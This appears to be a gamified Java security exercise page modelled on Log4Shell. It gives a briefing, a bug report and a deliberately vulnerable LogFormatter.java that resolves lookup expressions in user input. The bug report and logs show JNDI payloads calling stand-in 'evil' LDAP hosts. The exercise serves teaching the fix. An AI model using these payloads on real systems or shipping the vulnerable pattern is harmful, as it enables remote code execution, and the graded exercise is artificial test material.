The Log That Looked Things Up — Java Bug Hunt

Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework…

  • Language: Java
  • Layer: Backend
  • Difficulty: Hard
  • Concepts: Injection, Logging
  • Modelled on: Log4Shell · 2021
  • Visible tests: lookup syntax is neutralised, never resolved; plain messages pass through untouched
  • Reward: 50 XP for a complete fix

Briefing

Inspired by Log4Shell (2021), the vulnerability that ruined a global December: log a user-controlled string containing ${jndi:…} and the logging framework resolves it — downloading and executing attacker code.

The resolver is locked (that's the framework). LogFormatter.java must make sure user input never reaches it.

Bug report

BUG-44228 · Priority: 10.0/10.0 · Reported by: the entire industry

format(userMessage):

  • user input is DATA. Never resolve lookups found inside it.
  • neutralise every "${" as "{" so downstream systems can't resolve it either
  • the output must never contain the resolver's output

Observed: a chat message of ${jndi:ldap://evil/x} triggers a lookup.

Logs

[chat] user nickname: ${jndi:ldap://evil.example/a}
[log4j] resolving jndi lookup...

The code as shipped

LogFormatter.java (editable)

class LogFormatter {
    static String format(String userMessage) {
        int start = userMessage.indexOf("${");
        if (start != -1) {
            int end = userMessage.indexOf("}", start);
            if (end != -1) {
                String expr = userMessage.substring(start + 2, end);
                String resolved = Resolver.resolve(expr);
                return userMessage.substring(0, start) + resolved + userMessage.substring(end + 1);
            }
        }
        return userMessage;
    }
}

Read-only context: Resolver.java.

Open the hunt to edit the files, run the visible tests and submit against the hidden ones. More Java bug hunts.